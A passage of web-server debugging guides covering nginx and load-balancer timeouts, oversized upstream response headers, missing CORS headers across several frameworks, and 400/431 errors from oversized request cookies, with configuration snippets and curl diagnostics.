like nginx's read timeout does: ```bash aws elbv2 modify-load-balancer-attributes \ --load-balancer-arn "$ALB_ARN" \ --attributes Key=idle_timeout.timeout_seconds,Value=180 ``` If nginx sits behind the ALB, make nginx's `proxy_read_timeout` at least as long, otherwise nginx is the first to time out and you will see nginx-style 504s instead. ### Cloudflare Cloudflare's Proxy Read Timeout is 125 seconds by default ([error 524](https://developers.cloudflare.com/support/troubleshooting/http-status-codes/cloudflare-5xx-errors/error-524/)). Only Enterprise customers can raise it, up to 6,000 seconds. Beyond the limit the visitor gets 524 regardless of your origin settings. If a request genuinely needs to be longer, take that route out of the proxied path (a grey-clouded DNS-only hostname for the API), or restructure the work into a job: respond `202 Accepted` with a `Location` of a status resource and let the client poll. ### The 202 pattern ```http POST /reports HTTP/1.1 HTTP/1.1 202 Accepted Location: /reports/8f3a Retry-After: 5 ``` ```http GET /reports/8f3a HTTP/1.1 HTTP/1.1 200 OK Content-Type: application/json {"status":"running"} ``` ## Reproduce and verify Create a deliberately slow endpoint or use a sleep in a test upstream, then time the request through each layer. Compare the elapsed times to see which one cuts the request: ```bash # Through the public URL curl -sS -o /dev/null -w 'status=%{http_code} total=%{time_total}s\n' https://example.com/report # Straight to the origin, skipping the CDN curl -sS -o /dev/null -w 'status=%{http_code} total=%{time_total}s\n' \ -H 'Host: example.com' http://ORIGIN_IP/report # Straight to the app, skipping nginx curl -sS -o /dev/null -w 'status=%{http_code} total=%{time_total}s\n' http://127.0.0.1:3000/report ``` A 504 at `total=60.0xx` from the first two and a success from the third means the nginx or ALB 60 second default is cutting you off. Watch the error log live while you retry with `tail -f /var/log/nginx/error.log`. ## Related - [504 Gateway Timeout](https://howhttpworks.com/status-codes/504) describes the status and how it differs from a client-side timeout. - [524 A Timeout Occurred](https://howhttpworks.com/status-codes/524) is Cloudflare's version, with a fixed 125 second default budget. - [502 Bad Gateway](https://howhttpworks.com/debug/nginx-502-bad-gateway) is the other half of nginx upstream failures: the upstream answered badly or closed the connection. - [503 Service Unavailable](https://howhttpworks.com/status-codes/503) is what an overloaded or draining upstream should answer instead of hanging. - [ERR_INCOMPLETE_CHUNKED_ENCODING](https://howhttpworks.com/debug/err-incomplete-chunked-encoding): the timeout hits after the response has started, so the browser sees a cut-off body instead of a 504. --- # nginx Upstream Sent Too Big Header: Fix the 502 > Fix nginx upstream sent too big header: measure response headers, size proxy or FastCGI buffers, and shrink oversized Set-Cookie and redirect headers. Source: https://howhttpworks.com/debug/nginx-upstream-sent-too-big-header Last reviewed: 2026-10-05 Error messages this page covers: - `upstream sent too big header while reading response header from upstream` - `upstream sent too big header` - `502 Bad Gateway` > **TL;DR:** nginx ran out of room while reading the upstream **response headers**. Measure the failing response directly at the app, then increase `proxy_buffer_size` in the affected `proxy_pass` location; use `fastcgi_buffer_size` for PHP-FPM. More `proxy_buffers` alone will not fix it. Look for oversized `Set-Cookie`, `Location` and debug headers, especially on authentication routes. ## What it means The useful part of the nginx error log is: ```text upstream sent too big header while reading response header from upstream ``` nginx's [upstream parser](https://github.com/nginx/nginx/blob/master/src/http/ngx_http_upstream.c) logs this when the buffer is full and header parsing still needs more bytes. Its normal failure path returns [502 Bad Gateway](https://howhttpworks.com/debug/nginx-502-bad-gateway), unless a retry succeeds or your configuration handles the error differently. This is the opposite direction from [Request Header Or Cookie Too Large](https://howhttpworks.com/debug/request-header-too-large). The app has already received the request. nginx is rejecting what the app sends back. Changing `large_client_header_buffers` or `client_max_body_size` addresses a different problem. ## Measure the upstream response Run this from somewhere that can reach the app directly, bypassing nginx. Replace `http://upstream` with the app's address and the exact failing path: ```bash curl -sD - -o /dev/null http://upstream | wc -c # Example route on a local HTTP upstream: curl -sS --http1.1 -D upstream.headers -o /dev/null \ -H 'Host: example.com' 'http://127.0.0.1:3000/login' wc -c < upstream.headers ``` [`-D` dumps response headers](https://curl.se/docs/manpage.html#--dump-header); `-o /dev/null` discards the body. The count includes the status line and terminating blank line for this HTTP/1.1 response. Inspect curl's errors too: zero bytes from a failed connection is not evidence of a small response. Reproduce the method, Host, authentication and cookies of the failing request. An anonymous request may miss the session headers that trigger the 502. Do not substitute `-I` unless the failing request was HEAD, and do not add `-L` to this measurement: following redirects combines several response header blocks. Interim responses can also create extra blocks; inspect `upstream.headers` before treating its total as one response. To rank the header lines by byte length without printing cookie or token values: ```bash node -e 'const fs=require("node:fs"); const lines=fs.readFileSync("upstream.headers"); console.log(lines.toString("latin1").split("\r\n").filter(x=>x.includes(":")).map(x=>[Buffer.byteLength(x,"latin1")+2,x.slice(0,x.indexOf(":"))]).sort((a,b)=>b[0]-a[0]))' ``` Treat the captured file as sensitive. Measure each relevant response separately: the redirect into the identity provider, the callback, and the first request that creates or refreshes the session. ## Find the growing header - **Session cookies.** A serialized session or token can produce a large `Set-Cookie`, and several cookies add to the same response header block. [MDN describes each cookie as a separate Set-Cookie field](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie). Splitting one session into more cookies does not reduce the total nginx must parse. - **Authentication and OIDC redirects.** Inspect both `Location` and `Set-Cookie` on the failing response. A long redirect URL contributes its whole header line to the buffer. OAuth2 Proxy [documents multipart session cookies and recommends Redis for consistently large sessions](https://oauth2-proxy.github.io/oauth2-proxy/configuration/integrations/nginx/), so only a small session ticket is stored in the browser. - **Debug headers.** Check any field containing serialized traces, query details or application state. Remove that payload from response headers and put diagnostic detail in server logs instead. These are fields to measure, not a diagnosis from the status code. Use the byte counts to identify which one exceeds your route's allowance. ## Set the buffers for the upstream protocol The [nginx proxy module](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_buffer_size) documents these defaults. The `4k` or `8k` choice depends on the platform's memory page size: | Directive | Default | Role | | --- | --- | --- | | `proxy_buffer_size` | `4k` or `8k` | Initial response buffer, including headers | | `proxy_buffers` | `8 4k` or `8 8k` | Response data buffers for one connection | | `proxy_busy_buffers_size` | `8k` or `16k` | Cap on buffers busy sending while the upstream response is still being read | For `proxy_pass`, this illustrative configuration gives the header buffer 16 KiB. Choose a size above your measured header block, with room for normal variation: ```nginx location / { proxy_pass http://127.0.0.1:3000; proxy_buffer_size 16k; proxy_buffers 8 16k; proxy_busy_buffers_size 32k; } ``` `proxy_buffer_size` is the line that fixes header capacity; the other two keep the buffer sizes compatible with it. nginx [checks their relationship during configuration loading](https://github.com/nginx/nginx/blob/master/src/http/modules/ngx_http_proxy_module.c): the busy-buffer limit must be at least the larger of the header buffer and one body buffer, and fit within the body-buffer capacity minus one buffer. Run `nginx -t` before reloading. `proxy_buffering off` still uses `proxy_buffer_size` to receive upstream data. It does not remove the header-size constraint. Likewise, hiding a header downstream does not remove nginx's need to parse the upstream response first. ### FastCGI and uwsgi Change the directives matching the `*_pass` in the failing location. Put these illustrative settings alongside your existing upstream address and parameters: ```nginx # In a location using fastcgi_pass, such as PHP-FPM: fastcgi_buffer_size 16k; fastcgi_buffers 8 16k; fastcgi_busy_buffers_size 32k; ``` ```nginx # In a location using uwsgi_pass: uwsgi_buffer_size 16k; uwsgi_buffers 8 16k; uwsgi_busy_buffers_size 32k; ``` The [FastCGI](https://nginx.org/en/docs/http/ngx_http_fastcgi_module.html#fastcgi_buffer_size) and [uwsgi](https://nginx.org/en/docs/http/ngx_http_uwsgi_module.html#uwsgi_buffer_size) modules each default to a `4k` or `8k` initial buffer, eight body buffers of that size, and an `8k` or `16k` busy-buffer limit. Changing `proxy_buffer_size` cannot enlarge a FastCGI or uwsgi response buffer. ### gRPC For `grpc_pass`, the relevant directive is [`grpc_buffer_size`](https://nginx.org/en/docs/http/ngx_http_grpc_module.html#grpc_buffer_size), also one memory page (`4k` or `8k`) by default. The module passes responses synchronously and does not provide the `grpc_buffers` and `grpc_busy_buffers_size` pair: ```nginx # In the existing grpc_pass location: grpc_buffer_size 16k; ``` ### Existing ingress-nginx deployments The community ingress-nginx controller documents a [4k default and this annotation](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/annotations/#proxy-buffer-size). Add it to the existing Ingress metadata: ```yaml metadata: annotations: nginx.ingress.kubernetes.io/proxy-buffer-size: "16k" ``` The same docs expose `nginx.ingress.kubernetes.io/proxy-buffers-number` and `nginx.ingress.kubernetes.io/proxy-busy-buffers-size`. Inspect the generated nginx configuration and controller logs after a change; do not assume that an accepted Kubernetes object proves nginx loaded it successfully. As of this page's review date, the [project README](https://github.com/kubernetes/ingress-nginx#ingress-nginx-retirement) says maintenance ended after March 2026, with no further bug fixes or security updates. Use this setting to repair an existing deployment while planning migration; the project explicitly advises against new deployments. These annotations belong to community ingress-nginx, not every controller with nginx in its name. ## Raise the buffer, then stop the growth A measured increase for a legitimate app response is a reasonable repair. Request-header limits govern bytes clients can submit; this response buffer governs what your upstream sends. The distinction does not make memory free: larger buffers across concurrent responses increase the capacity you must budget. Scope the change to the affected location rather than raising every route by habit. Keep the response small anyway. Move session state out of cookies, stop reissuing redundant cookies, shorten redirect state where your authentication design allows it, and remove verbose diagnostic headers. A larger nginx buffer cannot guarantee that every downstream intermediary or browser will accept the response. ## Reproduce and verify ```bash nginx -t && nginx -s reload nginx -T 2>&1 | grep -E 'proxy_buffer_size|fastcgi_buffer_size|uwsgi_buffer_size|grpc_buffer_size' curl -sS -D - -o /dev/null 'https://example.com/failing-path' ``` Replay the same authenticated request through nginx and directly to the upstream. Success means the expected application response arrives, all intended cookies survive, and the matching error-log line stops appearing for that request. Check the login callback and session-refresh path as well as the first page load; otherwise you may have tested the smaller response. ## Related - [nginx 502 Bad Gateway](https://howhttpworks.com/debug/nginx-502-bad-gateway): other upstream errors that produce the same status. - [Request Header Or Cookie Too Large](https://howhttpworks.com/debug/request-header-too-large): limits on headers sent in the other direction. - [Set-Cookie](https://howhttpworks.com/headers/set-cookie): the response fields that create and update browser cookies. --- # No 'Access-Control-Allow-Origin' Header Is Present: Fix CORS > Fix the CORS error 'No Access-Control-Allow-Origin header is present on the requested resource' with working Express, nginx, S3, Workers and Django fixes. Source: https://howhttpworks.com/debug/cors-no-access-control-allow-origin Last reviewed: 2026-10-04 Error messages this page covers: - `Access to fetch at 'https://api.example.com/items' from origin 'https://app.example.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.` - `Access to XMLHttpRequest at 'https://api.example.com/items' from origin 'https://app.example.com' has been blocked by CORS policy: Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origin' header is present on the requested resource.` - `Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at https://api.example.com/items. (Reason: CORS header ‘Access-Control-Allow-Origin’ missing). Status code: 200.` - `Origin https://app.example.com is not allowed by Access-Control-Allow-Origin. Status code: 200` > **TL;DR:** The response to your cross-origin request had no `Access-Control-Allow-Origin` header matching the page's origin, so the browser hid it from your script. Add the header on the server that owns the resource, on every response including errors and the OPTIONS preflight. The client cannot fix this. ## What it means When JavaScript on `https://app.example.com` calls `https://api.example.com`, the browser sends the request with an `Origin` header and then inspects the response. If the response does not contain `Access-Control-Allow-Origin` with either that exact origin or `*` (for requests without credentials), the browser discards the body and raises the error above. The request usually did reach the server. Side effects of a POST may have already happened. This is the check defined in the [WHATWG Fetch Standard](https://fetch.spec.whatwg.org/#http-cors-protocol). The wording differs by browser, but the cause is the same: ```text Chrome: No 'Access-Control-Allow-Origin' header is present on the requested resource. Firefox: (Reason: CORS header 'Access-Control-Allow-Origin' missing). Status code: 200. Safari: Origin https://app.example.com is not allowed by Access-Control-Allow-Origin. Status code: 200 Fetch API cannot load https://api.example.com/items due to access control checks. ``` Firefox also prints `(Reason: CORS request did not succeed)` when there was no HTTP response at all, such as a DNS failure, a TLS error, a blocked mixed-content request or a connection reset. That variant is not a missing header; fix the network failure first. ## Who sent it? The browser generated the message, but the missing header is the fault of whichever layer produced the response you received. Look at that response in DevTools, Network tab, rather than at the console message. - Response has `Server: nginx` or your framework's header and a normal body: the origin application or its nginx is not adding the header. - Response has `Server: cloudflare` and a `CF-Ray` header, or `X-Amz-Cf-Id` (CloudFront), `X-Amzn-Trace-Id` (API Gateway or ALB): a CDN or gateway answered. A 4xx or 5xx generated by the gateway itself will not carry your application's CORS headers. - No response at all (status `(failed)` or `(blocked)`): it is not a header problem. Check for mixed content, an ad blocker, a certificate error, or an unreachable host. - Status is a `301` or `302`: a redirect response has no CORS headers, and a preflight is not allowed to be redirected. Call the final URL directly (`https`, correct host, trailing slash). Reproduce it outside the browser by sending the `Origin` header yourself, because many servers only emit CORS headers when `Origin` is present: ```bash curl -si https://api.example.com/items \ -H 'Origin: https://app.example.com' | grep -iE '^(HTTP|access-control|vary|server)' ``` A healthy answer looks like this: ```http HTTP/2 200 access-control-allow-origin: https://app.example.com vary: Origin ``` For a preflight, add the method and headers the browser would ask about: ```bash curl -si -X OPTIONS https://api.example.com/items \ -H 'Origin: https://app.example.com' \ -H 'Access-Control-Request-Method: POST' \ -H 'Access-Control-Request-Headers: content-type,authorization' ``` You want a 2xx (204 is typical) with `Access-Control-Allow-Origin`, `Access-Control-Allow-Methods` and `Access-Control-Allow-Headers` that cover what was requested. ## Fix it, in order of likelihood 1. Confirm which URL is failing. Compare the URL in the console message with the one you think you are calling. A typo in the host, `http` instead of `https`, or a missing `/api` prefix often lands on a different server or a 404 handler with no CORS configuration. 2. Add the header on the server that owns the resource, not on the client. 3. Make sure it is added to every response: errors (401, 404, 500), redirects, and the OPTIONS preflight. Middleware order matters; the CORS handler must run before auth and body parsing. 4. Reflect the request origin from an allowlist rather than hard-coding `*` if cookies or `Authorization` are involved, and send `Vary: Origin`. 5. If something sits in front (CDN, API gateway, load balancer), check that it forwards the `Origin` header and does not cache one origin's response for another. 6. Re-test with curl using the `Origin` header, then hard-reload the page. Browsers cache preflight results for `Access-Control-Max-Age` seconds (Chromium caps it at 7200 seconds, Firefox at 86400), so a fixed server can still look broken for a while. ### Express (cors package) ```javascript import express from 'express' import cors from 'cors' const app = express() const allowed = new Set(['https://app.example.com', 'https://admin.example.com']) app.use( cors({ origin(origin, callback) { // Requests with no Origin (curl, server-to-server) are not CORS requests if (!origin || allowed.has(origin)) return callback(null, true) callback(null, false) // omit the header; do not throw, or you get a 500 with no CORS headers }, credentials: true, // sends Access-Control-Allow-Credentials: true methods: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE'], allowedHeaders: ['Content-Type', 'Authorization'], maxAge: 600 }) ) // Register routes AFTER cors(), otherwise early errors skip it app.use('/items', itemsRouter) ``` `app.use(cors(...))` also answers OPTIONS preflights for every route. The cors package sets `Vary: Origin` itself when the origin is dynamic. ### nginx The classic mistake is `add_header` without `always`. Without it, nginx only adds the header to 200, 201, 204, 206, 301, 302, 303, 304, 307 and 308 responses, so your 401, 404 and 502 pages look like CORS failures. A second trap: `add_header` directives are inherited from the enclosing level only if the current level defines none, so a single `add_header` inside a `location` (or `if`) silently discards the ones set above it. That is why the `if` block below repeats every header. ```nginx map $http_origin $cors_origin { default ""; "https://app.example.com" $http_origin; "https://admin.example.com" $http_origin; } server { listen 443 ssl; server_name api.example.com; location / { # An empty value means nginx does not emit the header at all add_header Access-Control-Allow-Origin $cors_origin always; add_header Access-Control-Allow-Credentials "true" always; add_header Vary "Origin" always; if ($request_method = OPTIONS) { add_header Access-Control-Allow-Origin $cors_origin always; add_header Access-Control-Allow-Credentials "true" always; add_header Access-Control-Allow-Methods "GET, POST, PUT, PATCH, DELETE, OPTIONS" always; add_header Access-Control-Allow-Headers "Content-Type, Authorization" always; add_header Access-Control-Max-Age 600 always; add_header Vary "Origin" always; return 204; } proxy_pass http://app_backend; } } ``` If the upstream application already sends CORS headers, do not add them again in nginx. Duplicated `Access-Control-Allow-Origin` values are rejected by Chrome with a different error (`The 'Access-Control-Allow-Origin' header contains multiple values '...', but only one is allowed`). Use `proxy_hide_header Access-Control-Allow-Origin;` before `add_header` if you want nginx to own the policy. ### Cloudflare Workers ```javascript const ALLOWED = new Set(['https://app.example.com']) function corsHeaders(origin) { const h = new Headers() if (origin && ALLOWED.has(origin)) { h.set('Access-Control-Allow-Origin', origin) h.set('Access-Control-Allow-Credentials', 'true') } return h } export default { async fetch(request) { const origin = request.headers.get('Origin') if (request.method === 'OPTIONS') { const h = corsHeaders(origin) h.set('Vary', 'Origin, Access-Control-Request-Headers') h.set('Access-Control-Allow-Methods', 'GET, POST, OPTIONS') h.set('Access-Control-Allow-Headers', request.headers.get('Access-Control-Request-Headers') || 'Content-Type') h.set('Access-Control-Max-Age', '600') return new Response(null, { status: 204, headers: h }) } const upstream = await fetch(request) // Response from fetch() is immutable; copy it to change headers const response = new Response(upstream.body, upstream) for (const [k, v] of corsHeaders(origin)) response.headers.set(k, v) response.headers.append('Vary', 'Origin') // append: the origin may already send Vary: Accept-Encoding return response } } ``` ### Amazon S3 (and CloudFront in front of it) S3 only emits CORS headers when the request carries an `Origin` header and a rule matches. In the bucket's Permissions tab, under Cross-origin resource sharing (CORS), paste a JSON array of rules: ```json [ { "AllowedOrigins": ["https://app.example.com"], "AllowedMethods": ["GET", "HEAD", "PUT"], "AllowedHeaders": ["*"], "ExposeHeaders": ["ETag"], "MaxAgeSeconds": 3000 } ] ``` With CloudFront in front, the distribution must forward `Origin` to S3 and include it in the cache key, otherwise CloudFront can cache a response made without `Origin` (no CORS headers) and serve it to everyone. Put `Origin` in the cache key with a cache policy that whitelists it, and forward it to S3 with the managed `CORS-S3Origin` origin request policy. Alternatively, add CORS headers at the edge with a response headers policy and skip S3 CORS. ### API Gateway For an HTTP API, set the CORS configuration on the API (AllowOrigins, AllowMethods, AllowHeaders, optionally AllowCredentials, MaxAge). When it is configured, API Gateway answers preflights itself and applies its own headers to responses. For a REST API with Lambda proxy integration, "Enable CORS" only creates the OPTIONS mock; your Lambda must return `Access-Control-Allow-Origin` in its own response, and gateway-generated errors (403 from an authorizer, 429 throttling, 5xx) need CORS headers added through Gateway Responses. ### Next.js route handlers ```typescript // app/api/items/route.ts const ALLOWED = new Set(['https://app.example.com']) function cors(origin: string | null) { const headers: Record = { Vary: 'Origin' } if (origin && ALLOWED.has(origin)) { headers['Access-Control-Allow-Origin'] = origin headers['Access-Control-Allow-Credentials'] = 'true' } return headers } export async function OPTIONS(request: Request) { return new Response(null, { status: 204, headers: { ...cors(request.headers.get('origin')), 'Access-Control-Allow-Methods': 'GET, POST, OPTIONS', 'Access-Control-Allow-Headers': 'Content-Type, Authorization', 'Access-Control-Max-Age': '600' } }) } export async function GET(request: Request) { return Response.json({ items: [] }, { headers: cors(request.headers.get('origin')) }) } ``` For a single fixed origin you can instead set `headers()` in `next.config` for `/api/:path*`. It cannot reflect the origin from an allowlist. ### Django and Flask ```python # Django: pip install django-cors-headers INSTALLED_APPS = [..., 'corsheaders'] MIDDLEWARE = [ 'corsheaders.middleware.CorsMiddleware', # as high as possible, before CommonMiddleware 'django.middleware.common.CommonMiddleware', ... ] CORS_ALLOWED_ORIGINS = ['https://app.example.com'] CORS_ALLOW_CREDENTIALS = True ``` ```python # Flask: pip install flask-cors from flask import Flask from flask_cors import CORS app = Flask(__name__) CORS(app, origins=['https://app.example.com'], supports_credentials=True, max_age=600) ``` ## Credentials and the wildcard rule If the request uses `credentials: 'include'` (cookies, client certificates) the response must contain a specific origin, not `*`, plus `Access-Control-Allow-Credentials: true`. An `Authorization` header set manually in JavaScript is not "credentials" in the Fetch sense, but it does force a preflight, and the preflight must list `Authorization` by name in `Access-Control-Allow-Headers`: even without credentials, a `*` there does not cover it ([MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Access-Control-Allow-Headers)). On credentialed requests, `*` in `Access-Control-Allow-Headers` and `Access-Control-Allow-Methods` is treated as a literal string, not a wildcard. Name each one. Never reflect an arbitrary `Origin` value back with credentials enabled. That makes every site on the internet a trusted origin for your logged-in users. Match against an allowlist. ## Why it works in Postman and curl Nothing in the HTTP exchange changes. Postman and curl send the same request and receive the same bytes. They just do not apply the same-origin policy, which exists to protect users' browser sessions, not your API. A server that "works in Postman" has not proven it is CORS-correct. It has proven it is reachable. The only useful test is to replay the request with the same `Origin` header and, for non-simple requests, the same preflight. ## Related - [Debugging CORS errors](https://howhttpworks.com/debug/cors-error) covers the other CORS failure messages. - [Failed CORS preflight](https://howhttpworks.com/debug/cors-preflight) for `Response to preflight request doesn't pass access control check`. - [Access-Control-Allow-Origin](https://howhttpworks.com/headers/access-control-allow-origin), [Access-Control-Allow-Credentials](https://howhttpworks.com/headers/access-control-allow-credentials) and [Vary](https://howhttpworks.com/headers/vary) for the header semantics. - [CORS guide](https://howhttpworks.com/guides/cors) for the model behind simple versus preflighted requests. - The [CORS debugger](https://howhttpworks.com/tools/cors-debugger) lets you test an endpoint with a chosen origin. --- # Request Header Or Cookie Too Large: Fix 400 and 431 > Fix 400 Request Header Or Cookie Too Large and 431 errors: find the oversized cookie or token, then check nginx, Apache, Node, ALB and Cloudflare limits. Source: https://howhttpworks.com/debug/request-header-too-large Last reviewed: 2026-10-04 Error messages this page covers: - `400 Bad Request: Request Header Or Cookie Too Large` - `431 Request Header Fields Too Large` - `HTTP ERROR 431` - `Your browser sent a request that this server could not understand. Size of a request header field exceeds server limit.` - `client sent too long header line` > **TL;DR:** The request's headers, almost always the `Cookie` line or an `Authorization` token, exceeded a server limit. nginx answers `400 Request Header Or Cookie Too Large` when one header line exceeds an 8 KB buffer (`large_client_header_buffers 4 8k`), Apache answers 400 above 8,190 bytes per field, and Node answers `431` above 16 KiB in total. Clearing the site's cookies fixes it for one user; for everyone, find the cookie that grew, stop it growing, and only then raise limits. ## What it means The client sent more header bytes than some server in the path will buffer. RFC 6585 defines `431 Request Header Fields Too Large` for this, and allows it both when the total is too large and when a single field is. In practice most servers still answer `400`, so the status code alone does not tell you much. The body and the limit do: | Layer | Limit (default) | Status and what the client sees | | --- | --- | --- | | nginx | One header line must fit in one 8 KB buffer; the whole header in 4 of them (`large_client_header_buffers 4 8k`) | `400`, page title `400 Request Header Or Cookie Too Large` | | Apache httpd | 8,190 bytes per header field (`LimitRequestFieldSize`), 100 fields (`LimitRequestFields`) | `400`, "Size of a request header field exceeds server limit." | | Node.js (`http`, Express, Next.js, Vite dev servers) | 16 KiB for all headers together (`--max-http-header-size`) | `431` with an empty body; Chrome shows `HTTP ERROR 431` | | AWS Application Load Balancer | 16 KB request line, 16 KB per header, 64 KB in total; not adjustable | `400` | | Cloudflare | 128 KB of request headers in total, 16 KB URL | An error page served by Cloudflare itself (check for a Cloudflare error page, not your origin's) | The nginx response, which reaches the browser even when Cloudflare or another CDN sits in front: ```http HTTP/1.1 400 Bad Request Server: nginx Content-Type: text/html Connection: close 400 Request Header Or Cookie Too Large

400 Bad Request

Request Header Or Cookie Too Large
``` The Node response is just two lines, which is why the browser shows its own error page instead of a server page: ```http HTTP/1.1 431 Request Header Fields Too Large Connection: close ``` ## Who sent it? - Page title `400 Request Header Or Cookie Too Large` and `Server: nginx`: nginx, either your own or an ingress controller. A Cloudflare `CF-Ray` header on the same response only means Cloudflare relayed it; with a 128 KB allowance, Cloudflare is rarely the layer that refused. - "Size of a request header field exceeds server limit." in an Apache-styled page: Apache httpd. - Empty body, `431`, "HTTP ERROR 431" in Chrome: a Node.js server, very often a local dev server. - `Server: awselb/2.0` with a 400: the ALB rejected it before your targets saw anything. Its limits cannot be raised, so the only fix is smaller headers. The logs are quiet by default. nginx records `client sent too long header line: "Cookie: ..."` at the `info` level, and Apache records `AH00561: Request header exceeds LimitRequestFieldSize: Cookie` at `info` too. With the usual `error_log ... error;` and `LogLevel warn`, nothing appears. Lower the level temporarily to see which header is at fault: ```nginx error_log /var/log/nginx/error.log info; ``` ## Why headers get that big - **Cookies on a parent domain.** A cookie set with `Domain=example.com` is sent to `www.example.com`, `app.example.com`, `api.example.com` and every other subdomain. Each team's analytics, A/B testing, consent and feature-flag cookies add up on every host, and nobody owns the total. Scope cookies to the host that needs them by leaving out [`Domain`](https://howhttpworks.com/cookies/domain). - **State stored in cookies.** A JWT or serialized session with user roles, group memberships or a cart grows with the user. A cookie can legally hold about 4 KB of name and value, and RFC 6265bis asks browsers to keep at least 50 cookies per domain, so the browser will happily store far more than an 8 KB nginx buffer can take. - **Large `Authorization` headers.** Bearer tokens that embed group claims grow with the user's group count. Apache's own documentation notes that SPNEGO (Kerberos) headers can reach 12,392 bytes, already above its 8,190-byte default. - **Long URLs and `Referer`.** A long query string makes the request line and the `Referer` of every subresource request long. Same-origin requests send the full URL as `Referer` under the default `strict-origin-when-cross-origin` policy. In nginx an over-long request line returns [414 URI Too Long](https://howhttpworks.com/status-codes/414), not 400. - **localhost.** Cookies do not provide isolation by port (RFC 6265 Section 8.5), so every project you have run on `localhost` shares one cookie jar. ## Measure it In the DevTools console on the affected site: ```javascript // Total bytes of cookies visible to JavaScript on this page new Blob([document.cookie]).size // The ten largest cookies visible to JavaScript document.cookie.split('; ') .map((c) => [c.split('=')[0], c.length]) .sort((a, b) => b[1] - a[1]) .slice(0, 10) ``` `document.cookie` does not include `HttpOnly` cookies, which are usually the session and auth cookies, so treat the number as a minimum. For the full list open DevTools, Application, Cookies: the Size column shows each cookie's size in bytes, including HttpOnly ones. The Network panel shows the exact `Cookie` line the browser sent with the failing request. From the command line, `curl -v` prints the request headers with `>`. Paste the browser's Cookie value into a file and count what a request actually carries: ```bash curl -sv -o /dev/null -H "Cookie: $(cat cookies.txt)" https://example.com/ 2>&1 \ | grep '^> ' | wc -c ``` To reproduce the error without a browser, send a single 9,000-byte header: ```bash curl -s -o /dev/null -w '%{http_code}\n' \ -H "Cookie: big=$(head -c 9000 /dev/zero | tr '\0' a)" https://example.com/ ``` nginx with default settings returns `400`. Splitting the value into several cookies does not help: over HTTP/1.1 the browser sends all cookies on one `Cookie` line, so their combined size has to fit in a single 8 KB buffer, not in the 32 KB that four buffers add up to. ## Fix it, in order of likelihood 1. **Unblock the user**: delete the site's cookies, including those on the parent domain, and reload. Support staff can usually give this instruction faster than you can deploy anything. 2. **Find the offender** with the DevTools Size column or the `info`-level log line, which names the header. 3. **Stop the growth**: remove cookies nobody reads, set short `Max-Age` on marketing and experiment cookies, scope cookies to a single host, and replace a cookie-borne JWT or session blob with an opaque session ID (see below). 4. **Raise limits only where needed and in matching order**, so the first layer does not accept something the next one rejects. ### nginx `large_client_header_buffers` is valid only in `http` and `server` blocks, not in `location`. When it is set in a `server` block, nginx may use the value from the default server for that address and port, because the virtual host is picked from the `Host` header after the header has been read. Setting it in `http` avoids that trap. ```nginx http { # Default: 4 8k. One header line must fit in one buffer. large_client_header_buffers 4 16k; } ``` Reload with `nginx -t && nginx -s reload`. The same limits apply to HTTP/2 and HTTP/3, where a buffer limits each header field after HPACK or QPACK compression. Check `nginx -T | grep large_client_header_buffers` to confirm which value is loaded. If nginx proxies to Node, raising nginx to `16k` per line does not help a request whose total exceeds Node's 16 KiB; Node then answers 431 behind nginx. ### Kubernetes ingress-nginx The controller ConfigMap key is `large-client-header-buffers`, default `"4 8k"`: ```yaml apiVersion: v1 kind: ConfigMap metadata: name: ingress-nginx-controller namespace: ingress-nginx data: large-client-header-buffers: "4 16k" ``` ### Apache httpd ```apache # Defaults: 8190 bytes per field, 100 fields. Server config or virtual host only. LimitRequestFieldSize 16380 LimitRequestLine 16380 ``` With name-based virtual hosts the value from the first-listed virtual host for the address and port is used, so set it there or globally. ### Node.js, Express and dev servers ```bash # CLI flag node --max-http-header-size=32768 server.js # Works for tools that start Node for you (next dev, vite, nodemon) NODE_OPTIONS=--max-http-header-size=32768 npm run dev ``` ```javascript import http from 'node:http' // Per-server override of the 16 KiB default const server = http.createServer({ maxHeaderSize: 32768 }, app) server.listen(3000) ``` For the localhost case, clearing cookies for `localhost` is the real fix. ### Response headers: the other direction A large `Set-Cookie` coming back from your app can break nginx too, with a different symptom: `upstream sent too big header while reading response header from upstream` in the error log and a [502 Bad Gateway](https://howhttpworks.com/debug/nginx-502-bad-gateway). That is controlled by `proxy_buffer_size` (one memory page, 4k or 8k by default), not by `large_client_header_buffers`. ## Why raising limits is a stopgap Raising a limit hides the growth rather than stopping it. Every byte in a parent-domain cookie is sent with every request to every subdomain, including requests for images, scripts and API calls. A user who adds groups or keeps a long-lived session keeps adding bytes until they hit the next limit, and some limits cannot be raised at all: the ALB's 16 KB per header is fixed. Every proxy, WAF and API gateway on the path also has its own ceiling, and you may not control all of them. The durable fix is to keep state on the server: ```http HTTP/1.1 200 OK Set-Cookie: __Host-sid=8f3a1c9e2b7d4f60; Path=/; Secure; HttpOnly; SameSite=Lax; Max-Age=86400 ``` The cookie holds a random ID, and the session data (roles, cart, preferences) lives in Redis or the database, keyed by that ID. The `__Host-` prefix forbids a `Domain` attribute, so the cookie cannot spread to sibling subdomains. For APIs that need a self-contained token, keep the claims minimal and look permissions up server-side instead of embedding every group in the token. To clear bloated cookies for users who are already locked out, serve a response with [`Clear-Site-Data: "cookies"`](https://howhttpworks.com/headers/clear-site-data) from a host that can still accept their requests. MDN describes its scope as the registered domain, including subdomains. ## Reproduce and verify ```bash # Before the fix: 400 from nginx, 431 from Node curl -s -o /dev/null -w '%{http_code}\n' \ -H "Cookie: big=$(head -c 9000 /dev/zero | tr '\0' a)" https://example.com/ # Straight to the origin, skipping the CDN or load balancer curl -s -o /dev/null -w '%{http_code}\n' -H 'Host: example.com' \ -H "Cookie: big=$(head -c 9000 /dev/zero | tr '\0' a)" http://ORIGIN_IP/ ``` If the origin accepts the request and the public URL rejects it, the limit is in front of the origin. After shrinking the cookies, the DevTools Size column total for the site should sit comfortably below the smallest limit in your path. ## Related - [431 Request Header Fields Too Large](https://howhttpworks.com/status-codes/431) covers the status code itself. - [Cookie](https://howhttpworks.com/headers/cookie) and 